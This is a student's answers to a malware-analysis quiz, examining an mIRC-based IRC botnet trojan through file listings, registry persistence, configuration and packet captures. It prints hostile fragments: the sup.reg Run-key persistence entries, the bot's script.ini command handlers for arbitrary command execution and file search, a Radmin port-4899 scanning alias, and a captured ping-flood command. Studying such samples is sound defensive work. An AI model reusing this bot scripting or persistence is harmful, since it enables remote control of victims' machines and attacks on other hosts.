

# Malware Quiz 5 - Answers

**Rudolph Pereira**

## Basic questions:

1. *Is this file packed? If so, which packer?*

The malware file given (enclosed within the downloaded zipfile) is an UPX-packed RAR archive

2. *Without running the file, is it possible to identify what this malware can and will do?*

To get a rough idea of what kinds of capabilities the malware has, it was first scanned using the online virus scanning site <http://virusscan.jotti.org/>. This returned, amongst other results:

Dr.Web

Found Tool.Moo, IRC.Virus,  
Program.mIRC.603 (probable variant)

Kaspersky Anti-Virus

Found Backdoor.IRC.Zapchast,  
Trojan.Win32.Starter.a,  
Backdoor.IRC.Cloner.ae,  
Backdoor.Win32.mIRC-based

which suggests that the malware may have backdoor and IRC capabilities. Examining the RAR archive, we saw the following files (listed with their MD5 checksums):

d2d2c9c3560a07612de2e3b1139f0db4	aliases.ini
526ac9d376146b68bd3910ccff8a7512	control.ini
e09aa9787af5cc53fd7525dd6693cf10	mirc.ico
46751ec3cea57a67c24b946c7f9353a3	mirc.ini
b5c1b5039b4f6be1ddf67f56b3325c17	moo.dll
b43e43561ac4f4883c6a383547b8475a	nicks.txt
26e7560c41219cb79d7267e5268dd8b8	perform.ini
8116b095f0c3c4dc88681811fc1a6719	popups.ini
d3ab61915ac797ed88bf1b5f1a0a6bc0	radmin.txt
e936b0e42140178c1170548dd65cf2b2	remote.ini
553471a7f5f6d9f54a437162b83796ca	run.exe
7c6744864bcba08bfd961cf69bf7f9f2	script.ini
30859d1bec4315a3e2684613d146a232	servers.ini
78de063917ba0a125974065073d2affd	sup.bat
462eb54fc270c0ea6fe146be20c106aa	sup.reg
b766003f431cad186bd115f5761592d1	svchost.exe
5948ddcc75f6bd9723680b1b2e51a72f	users.ini

According to the unix/binutils “file” command, most of the files in the archive were data or text files, with the exception of the following, which appeared to be executables:

```
moo.dll:      PE executable for MS Windows (DLL) (GUI) Intel 80386
32-bit
run.exe:     PE executable for MS Windows (GUI) Intel 80386 32-bit
svchost.exe: PE executable for MS Windows (GUI) Intel 80386 32-bit
```

Of the above files, “svchost.exe” was by far the largest (>1Mb), so we started our analysis by examining that file a bit more closely.

Looking at the file properties for that file (under Windows Explorer), the description of the file is “mIRC”, copyright/company information is “mIRC Co.”, and the original filename for the file is “mirc.exe”. This suggests that the binary might be a renamed copy of the mIRC Windows-based IRC client, so using the version numbers listed in the file properties (6.0.3.0), a copy of that version of mIRC was downloaded and examined. The MD5 checksums for both binaries were equal, hence, we could conclude that “svchost.exe” was indeed a renamed mirc.exe, and extremely unlikely to be (by itself) malware. Proceeding a bit further with this course of analysis, the files/directories for a legitimate mIRC installation were then compared to the files extracted/installed by our malware, with the following interesting results:

- the following files were present in the malware but not in the legitimate mIRC installation: control.ini mirc.ico moo.dll nicks.txt perform.ini radmin.txt remote.ini run.exe script.ini sup.bat sup.reg users.ini. Of those files:
  - mirc.ico appeared to be a legitimate windows icon
  - nicks.txt appears to be a list of user names or perhaps IRC nicknames
  - control.ini, perform.ini, remote.ini and users.ini appear to have some peripheral mIRC scripting/configuration, which we'll analyse later
  - radmin.txt is almost empty apart from a heading of some sort
  - sup.bat and sup.reg are examined later

This leaves run.exe, moo.dll and script.ini; we'll look into the first in a little while, but a quick scan of script.ini indicates that it contains mIRC scripting commands/shortcuts, and we also see that some of the script commands reference moo.dll. For example, one section of script.ini has:

```
...
n32=on 100:text:*:*:{
...
n108=  if ($1 == !info) {
n109=    if ($2 == system) {
n110=      set %rb_size 20
n111=      .notice $nick ^C2,15 [System: $dll(moo.dll,osinfo,_) ]
$&
```

```

n112=      [PC-Uptime: ^C^C4,15 $dll(moo.dll,uptime,_) ^C^C2,15]
$&
n113=      [BoT-Ontime: ^C^C4,15 $uptime(server,1) ^C^C2,15] $&
n114=      [Processor: $dll(moo.dll,cpuinfo,_) ] $&
n115=      [Screen: $dll(moo.dll,screeninfo,_) ] $&
n116=      [RAM: $gettok($dll(moo.dll,meminfo,_) ,2-,32) ] $&
n117=      [Internet: $dll(moo.dll,interfaceinfo,_) ] ^C
n118=      halt
...

```

Noting that “.notice” is an IRC command to send text to a certain nick<sup>1</sup> (i.e. IRC user) and \$dll is an mIRC scripting function used to call a function exported from a dll<sup>2</sup> it would appear that script.ini contains some scripting that, if not malicious, is certainly worrying in nature, particularly in terms of information disclosure to unknown IRC users. We'll again defer analysis of just how the script commands are used or called, and of script.ini itself, but before we do that we'll look into moo.dll a little more.

Running the unix/binutils “objdump” utility to list the functions exported by the DLL agrees with the above script commands:

```

$ objdump -p
...
There is an export table in .rdata at 0x1000e340

```

The Export Tables (interpreted .rdata section contents)

```

...
[Ordinal/Name Pointer] Table
    [ 0] connection
    [ 1] cpuinfo
    [ 2] diskcapacity
    [ 3] interfaceinfo
    [ 4] mbm5info
    [ 5] meminfo
    [ 6] netcapacity
    [ 7] osinfo
    [ 8] rambar
    [ 9] screeninfo
    [10] uptime
    [11] version
...

```

Finally, looking at the file's properties, as displayed in Windows Explorer, we saw that it advertised itself as an “mIRC extension DLL”, created by “mark@influenced.net” and had a version of “4.0.2.65”. Initial googling suggested this was a popular mIRC extension used by various scripts (some obviously malicious) but no indication that the dll itself was malicious. Further searching turned up a copy of this version of the extension with a matching MD5 checksum along with a “readme” describing the dll as an “Addon for mIRC, reports various statistics”. As a last resort, the the virustotal.com online virus scanner was

1 see [http://en.wikipedia.org/wiki/List\\_of\\_IRC\\_commands#notice](http://en.wikipedia.org/wiki/List_of_IRC_commands#notice). Note that the prefix of “.” instead of “/” indicates that the command is not echoed to the mIRC status window  
2 see <http://www.mishscript.de/tutorials/dllhelp.htm#s2>

used to scan the file – again, all scanners indicated that it was not malicious<sup>3</sup>. From the above, it seems reasonable to say that `mo0.dll` is unlikely to be, of itself, malware, but that it may be used maliciously by other part of the malware we're investigating.

Returning to our comparison of the legitimate installation of mIRC and our malware's files, I then compared the files that existed in both installations and found that the following files had the following differences:

- `aliases.ini`: this had minimal differences
- `popups.ini`: this had many more differences; in general the malware had a simpler set of mIRC popups<sup>4</sup> than the legitimate installation, but nothing much else of interest
- `servers.ini`: whereas the legitimate mIRC installation had a large number of servers on different IRC networks, the malware *only* listed servers in the UnderNet IRC network. This pointed to the undernet network likely having special characteristics required for the malware's operation
- finally, `mirrc.ini`: as this is the main mIRC configuration file, from which all others are included/referenced, as expected there were many differences between the legitimate and malware version of this file. In particular, the malware's version had the following settings, which I've shown along with a description:

```
...
[options]
n0=1,1,0,1,0,0,620,1,0,1,1,0,1,1,2,0,0,2,1,0,4096,1,1,0,0,0,1,1,0,
50,1,1
...
n6=0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,100,1,1,0,0,1,0,1,1
6,1,0,0
...
```

- connect to the host (see below) upon startup
- minimise mIRC to the tray and hide it

```
[mirrc]
user=MAD
nick=MAD
anick=MAD
email=MAD
host=Lelystad.NL.EU.UnderNet.OrgSERVER:Lelystad.NL.EU.UnderNet.Org
:6667GROUP:Underet
...
```

- configure mIRC to connect to the IRC server `Lelystad.NL.EU.UnderNet.Org` and otherwise use alternate servers in the “Underet”<sup>5</sup> (presumably this is a misspelling of “Undernet”) IRC network/group
- configure the username, etc. as “MAD”

---

<sup>3</sup> a couple of the scanners even explicitly indicated it was “not a virus”

<sup>4</sup> see, for example, [http://users.mmhc.net/jag/chat/Script\\_Help/English/Infos\\_bac\\_p2.htm#Step2-5](http://users.mmhc.net/jag/chat/Script_Help/English/Infos_bac_p2.htm#Step2-5)

<sup>5</sup> the “GROUP” configuration directive indicates that any of the servers for the “Underet” IRC network/group can be used if a connection cannot be made with the named server; alternate servers are looked up in `servers.ini` (see above)

```
[files]
...
trayicon=mirc.ico
...
```

- use the file mirc.ico as the tray icon. Note that when viewed, this icon appeared blank.

```
[chanfolder]
n0=#Creatu,,,,1
n1=#Cretu,,,,1
n2=#Cretzu,,,,1
...
```

- upon connect, attempt to join the above channels. An important point to note is that there is no attempt to work out what IRC network is being connected to – the above channels are joined as soon as a connection is made. Coupled with the server configuration only listing undernet servers, this again suggest that these particular channels, on this network, are of special interest to the author of this malware.

3. *Now, using any methods available to you, which changes, if any, will this malware do in the system, among new files and registry entries...?*

Continuing a little longer with static analysis, we saw that the SFX script associated with the RAR archive was:

```
; [ > owned by mad ! < ]
```

```
Path=%systemroot%\system32\drivers\
SavePath
Setup=%systemroot%\system32\drivers\sup.bat
Silent=1
Overwrite=1
```

Where “sup.bat” contains:

```
@regedit /s sup.reg
@exit
```

and sup.reg contains:

```
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"svchost.exe"="C:\\WINNT\\system32\\drivers\\svchost.exe"
"system32"="C:\\WINDOWS\\system32\\drivers\\svchost.exe"
```

Descriptively, the above data/commands:

- a) extract the archive/files (see file listing for (2) above) to  
`%systemroot%\system32\drivers\`
- b) invokes a batch file to add keys to the registry to ensure that the mIRC executable that is part of the malware is invoked upon system startup.

A couple of points of interest are:

- **two** registry entries are made. The likely explanation for this is that `%systemroot%` is usually `C:\WINNT\` on older Windows NT based systems, whereas newer systems usually have this as `C:\WINDOWS\`. Having both entries created means that mIRC will be run whatever system the malware is installed on
- upon extraction, although the malware sets up registry entries such that it starts upon system startup, it does not appear to invoke itself as part of installation. In other words, the system will have to be restarted before the malware activates itself

That's about all that can be done with static analysis, so we now turned to live analysis. Before launching head-first into that though, we should note that the one remaining binary that so far has remained quite elusive is `run.exe`; I say elusive because none of the mIRC configuration or scripting commands refer to it at all. The only option was to attempt to run it on a target system and see what it did.

Unfortunately, the results were disappointing. There were no network connections attempted/established at all, no significant file I/O and the only registry entry made was:

setting

`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ANTIVIRUSSERVICES` to `"c:\windows\services\antivirus\mir32.exe"` – i.e. pointing to an executable that doesn't even exist. In addition, the following error dialog was shown upon execution:



From this it seems reasonable to conclude that `"run.exe"` is an insignificant part of this malware, possibly unused and left over from some other incarnation/version<sup>6</sup>

Moving to the meat of the live analysis, I then executed the malware on a Windows XP host that was not networked. This confirmed the results of the static analysis above, namely that:

- the malware installed a "specially configured" version of the mIRC client on the host
- the registry entries (shown above) were set to ensure that the mIRC client executed upon system startup

I then executed the installed `"svchost.exe"` (aka `mir32.exe`) binary in `C:\WINDOWS\system32\drivers\svchost.exe`, as would be done upon system startup, and

<sup>6</sup> more likely, the author of this bit of malware took another bit of malware, modified it for their own uses and never bothered to remove the bits they didn't need/use

saw what appeared to be a normal mIRC client invocation/execution<sup>7</sup>, with the following differences:

- the mIRC client attempted to connect to the host “Lelystad.NL.EU.UnderNet.Org” on tcp/6667
- the mIRC client window was hidden and although on first impression, there was no indication it was running, a closer look at the taskbar showed a blank area where the mIRC icon should have been but wasn't. The image below shows the blank area of the taskbar circled, as well as the mIRC menu displayed when right-clicking on the blank area (this menu is the same as the one one would see with a legitimate mIRC installation):



The blank taskbar area can be explained by recalling from earlier analysis that a custom “mirc.ico” icon (that was blank) was configured in the mirc.ini settings.

All of the above was what we expected from the static analysis conducted so far.

Next, the malware was executed on a Windows XP host with a network connection. As above, the mIRC client was executed, after which it connected to the server “Lelystad.NL.EU.UnderNet.Org” and immediately attempted to join the channels `Creata`, `Cretu`, and `Cretzu`. Unfortunately, it was unsuccessful, as revealed in packet captures:

...

```
...475 umpcap #Creata :Cannot join channel (+k)
```

```
...475 umpcap #Cretu :Cannot join channel (+k)
```

```
...475 umpcap #Cretzu :Cannot join channel (+k)
```

...

channel mode +k means that the channel had a key/password that needs to be supplied by the client to join, and the above indicates that the client had not done so. As the client was configured to reattempt channel joins, the only thing to be done now was wait ...

... some time passes ...

Eventually, the client succeeded in joining “#Cretzu”, apparently because one of the channel operators had unset mode “k” on the channel, meaning that one could join without supplying a password. Upon joining, the server listed the other users on the channel – a quick count suggested there were over 250! Also of interest were the channel modes,

---

<sup>7</sup> I've omitted the normal registry settings corresponding to mIRC setting/saving it's options, etc.

listed as “stn” - in particular, mode “s” indicated the channel is secret and won't show up in channel searches, hence is unlikely to be joined by users who don't know the channel name beforehand. To gather some more information about that channel, I left the malware/IRC client running and continued monitoring network traffic.

After some hours, it became apparent that there was little real activity on the channel – in fact, there had been none other than clients joining and leaving. This seemed unusual – with the number of users on the channel one would have expected some “chat” occurring. Other unusual aspects included:

- almost all the clients that left the channel had timed out or had their connection reset by the server. This might've indicated they were not leaving the channel cleanly, possibly because the IRC clients, or the machines they were running on, were being killed or shutdown
- the clients seemed to be from all over the world; just during my analysis I had seen clients from quite a few continents, but mostly concentrated in the US and Europe. This was odd, given that the channel name (and background) suggested it was Romanian specific
- there were a couple of clients that had the same userid - “cacat” - as was configured by the malware I was looking at. This suggested that this malware might've been running on other machines as well.

#### 4. *Now, what is the purpose of this malware?*

So far, we've seen that the malware installs itself, connects to an IRC server and then joins one of a set of channels. While leaving the malware connected to the IRC server, I continued with some further static analysis on the configuration file “script.ini”. In particular, the following extracts appeared interesting:

```
n32=on 100:text:*:*:{
...
n42= if ($1 == !run) { run $2- | .notice $nick ^C2,15 Am rulat
(^C^C4,15 $2- ^C^C2,15) ^C | halt }
...
n154= if ($1 == !fserv) {
...
n164=     if ($2 == find) {
n165=         %find.text = $$3-
n166=         %find.files = $findfile(c:\,$search,0)
n167=         .msg $nick Found files: $findfile(c:\,$search,0)
...
n207= if ($1 == !iis) {
n208=     if ($2 == $me) {
n209=         if ($3 == scan) {
n210=             .scan $$4 $$5
n211=             .notice $nick ^C2,15 Scanez:^C^C4,15 $$4 $+ . $+ $$5
```

```

$+ . $+ 0 $+ . $+ 0 ^C
n212=      halt
n213=      }
...
n221=      if ($2 == info) {
n222=      .notice $nick ^C2,15 Sockets:^C^C4,15 $sock(*,0)
^C^C2,15- IP:^C^C4,15 $gettok(%scan.range,1,46) $+ . $+ %scan.inc3
$+ . $+ %scan.incl $+ . $+ %scan.inc2 ^C^C2,15- Owned:^C^C4,15
$lines(radadmin.txt) ^C
n223=      }
n224=      if ($2 == send) {
n225=      .dcc send $nick radadmin.txt
n226=      }

```

The above configuration can be summarised as this: it loads functions/aliases into the mIRC client to enable it to, amongst other things, run arbitrary commands on the client, search for files, and run scans (using aliases/functions I've not included above), as well as send the results of those scans to other IRC users. The question is though: given that the author of the malware would want to run this remotely, how are these functions being activated/called? For this, we have to understand two concepts/capabilities that mIRC has:

1. scripting functions can be triggered when there is a match against a particular string in an IRC conversation/channel
2. there is the concept of user levels, allowing certain actions to be restricted to subsets of users. The default user privilege level is 0, but higher levels can be configured and set when username or IRC nicknames match

Looking again at the “script.ini” configuration line:

```
n32=on 100:text:*:*:{
```

we can now see that this configures mIRC to invoke this function when a user of privileged level 100 says anything on the current channel. Looking at “users.ini”, we see:

```

[users]
n0=100:*!*@Cr3tu.users.undernet.org
n1=100:*!*@CretuDeLaCta.users.undernet.org
n2=100:*!*@CretuJmen.users.undernet.org

```

which configures mIRC to set the privilege level of any user at the above three hostnames to level 100. Hence, those level-100 users will be the ones that can run the “interesting” functions we saw above – that is, those users pretty much own the box the malware is run on.

Fortunately for us, while I was doing the above analysis I saw the following (taken from packet captures):

```
:SuPaRaT!~Cretzu@Cr3tu.users.undernet.org PRIVMSG #Cretzu :!raw  
/run ping -n 10 -l 666 aaa.bbb.ccc.ddd
```

followed by (as expected):

...

```
10:58:15.284106 IP 192.168.0.132 > aaa.bbb.ccc.ddd: ICMP echo  
request, id 512, seq 6144, length 674
```

```
10:58:15.296683 IP 192.168.0.132 > aaa.bbb.ccc.ddd: ICMP echo  
request, id 512, seq 6400, length 674
```

...

which strongly supported my analysis.

As a final test, I then reconfigured the mlIRC configuration files so that the malware's IRC client would join an IRC network and channel of my choosing (and which I was a channel operator of) and would make me a level-100 user. I restarted "svchost.exe", and as expected, the malware (mlIRC) joined the channel, after which I was able to get system information (see moo.dll analysis above) and run arbitrary commands on the target host.

The sum total of this analysis and investigation was, then, that once running, the malware would join an IRC channel on an IRC network and wait for commands that the controllers/authors of the malware, in particular,

```
*!*@Cr3tu.users.undernet.org,  
*!*@CretuDeLaCta.users.undernet.org and  
*!*@CretuJmen.users.undernet.org
```

chose to execute on the system the malware was running on. It is likely that the authors wanted to (or had) amassed a number of these machines and could use them for whatever ends (or attacks) they wanted to – the investigation above suggested ping flooding was just one of their uses.

##### 5. *When will this malware be triggered/start?*

As shown above, the malware will be triggered upon system startup.

##### 6. *Can you explain the netstat output?*

Most of the netstat output is usual for a Windows XP box. The lines which might be considered irregular are:

```
TCP 192.168.0.53:1036 195.47.220.2:6667 ESTABLISHED  
TCP 192.168.0.53:1088 xxx.80.0.50:4899 SYN_SENT  
TCP 192.168.0.53:1089 xxx.80.0.51:4899 SYN_SENT  
TCP 192.168.0.53:1090 xxx.80.0.52:4899 SYN_SENT  
TCP 192.168.0.53:1091 xxx.80.0.53:4899 SYN_SENT  
TCP 192.168.0.53:1092 xxx.80.0.54:4899 SYN_SENT  
TCP 192.168.0.53:1093 xxx.80.0.55:4899 SYN_SENT  
TCP 192.168.0.53:1094 xxx.80.0.56:4899 SYN_SENT
```

```
TCP 192.168.0.53:1095 xxx.80.0.57:4899 SYN_SENT
TCP 192.168.0.53:1096 xxx.80.0.58:4899 SYN_SENT
TCP 192.168.0.53:1097 xxx.80.0.59:4899 SYN_SENT
```

The first of these is simply the connection to the IRC server, but the others indicate a scan of some sort against successive IP addresses against tcp/4899. Looking at the bag of goodies that is “script.ini”, we see the following relevant scripting:

```
n305=alias scansock {
n306= %sock = $r $+ $r
n307= .sockopen scanner[ $+ %sock $+ ] $gettok(%scan.range,1,46)
$+ . $+ %scan.
inc3 $+ . $+ %scan.incl $+ . $+ %scan.inc2 4899
n308= .timerclose $+ %sock 1 2 .sockclose scanner[ $+ %sock $+ ]
n309=}
```

which effectively does a port scan against a given host on tcp/4899.

[http://isc.sans.org/port\\_details.php?port=4899](http://isc.sans.org/port_details.php?port=4899) gives some more hints about this port: it's used by the radmin remote administration application, which appears to have some weaknesses in it's default configuration. We can therefore say that the above netstat output indicates the malware author/IRC controllers directed the machine from which the output was taken to scan for vulnerable hosts running the radmin service

7. *What about the TaskManager screenshot? What useful information can you get?*

There appears to be very little useful information from this screenshot, other than suggesting that the malware is running<sup>8</sup>, as there's an instance of “svchost.exe” running as the “malware” user alongside the more typical instances running as SYSTEM or other privileged users

8. *About the creztu file, please explain each of the files that it contains :)*

Please see the analysis in previous sections.

## Bonus Questions:

9. *Which other information about the channel can you provide?*

Given the above analysis, it is reasonable to suggest that this channel is used to aggregate compromised machines and provides an easy method to control them and direct them towards certain ends. This is typically described as a (quite common, unfortunately) IRC-based botnet. Other interesting information includes:

- SuPaRaT!~Cretzu@Cr3tu.users.undernet.org was seen setting the channel key to “cacat”, which interestingly matches the username in the malware's mIRC configuration. This was confirmed in later investigation, so it seems likely this is stable. It's unclear exactly why or when a channel key is set and unset
- The above user appeared to be most active, and was also on (and operator for) the channels #cc-trade #MAD and #Georgiana. Again, “MAD” was mentioned in the mirc.ini configuration directives, which suggests a link between the author of the

---

<sup>8</sup> and also that this is one strange “user”, who runs VMWare as their main desktop and logs in as “malware”?

malware and the IRC user

- given that most clients joining and leaving #Cretzu were not given channel operator privileges, it seems likely that the users with channel operator privileges on the channel are the controllers of the botnet, or bots acting on their behalf. Interestingly, doing a “whois”<sup>9</sup> on the channel operators showed that, at least for those looked at, all of them were also on, and channel operators, for #MAD and #Georgiana. In comparison, all the non-operators were only on #Cretzu, vaguely suggesting they might all be malware clients/bots

10. *How would you call this Malware and describe what this category of malware do.*

This malware is probably best described as a trojan that installs a remote-access client – specifically, an mIRC botnet client - on the target machine. Since the mIRC client (as configured) is able to run arbitrary commands, this malware can (or can be used to) do anything. Given that some of the scripting seems specifically directed at scanning or flooding/DoS-ing remote clients though, it is perhaps more realistic to suggest that probes and attacks against remote hosts are what the authors intended to use this malware for.

11. *Please explain the logs above.*

The log looks like a trace of IRC activity on the given channel (#Creatu). It is likely that the malware was logging activity on the IRC channel it had connected to – that is – other clients joining and leaving the channel, nickname changes, and so on.

---

9 an IRC whois, which shows user info, rather than the whois utility